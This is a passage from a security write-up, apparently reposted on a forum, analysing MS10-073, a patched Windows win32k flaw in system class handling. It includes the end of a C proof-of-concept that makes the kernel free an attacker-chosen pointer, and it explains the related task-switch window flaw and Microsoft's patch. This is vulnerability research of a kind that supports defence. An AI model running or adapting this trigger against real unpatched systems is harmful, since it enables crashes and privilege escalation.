LoadLibraryA("USER32.DLL"); MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA"); hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL); // set the pointer value of the (soon to be) popup menu structure SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080); // set WND->fnid = FNID_MENU MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs); // trigger -> ExPoolFree(0x80808080) DestroyWindow(hWindow); return 0; } The task switch window procedure (xxxSwitchWndProc) was found vulnerable to a similar error. In processing the WM_CREATE message, the procedure failed to validate the switch window information pointer that possibly could have been pre-initialized. Consequently, any further operations involving the use of this pointer could lead to an arbitrary read or write. This flaw only appeared to have exploitable impact on XP/2003, as Vista and later verifies the pointers (in win32k!RemoveSwitchWindowInfo) by traversing a linked list of all active SwitchWindowInfo structures (win32k!gpswiFirst). [h=3]The Patch[/h] In order to address the vulnerabilities, changes were made to the SetWindowLong APIs as well as the system class procedures. Notably, several functions now perform additional validation on the associated window class (and not just the FNID) before attempting to update extra window data. Additionally, both xxxMenuWindowProc and xxxSwitchWndProc now ensure that the extra data is null before handling the window object (and updating the FNID). This is needed as the system class pointer in a window object is never actually updated upon “converting” to a system class in the test case above. Thus, the changes made to xxxSetWindowLong would not alone be sufficient to prevent pre-initialization of window system class data. Sursa: MS10-073: Windows Class Handling Gone Wrong | !pool @eax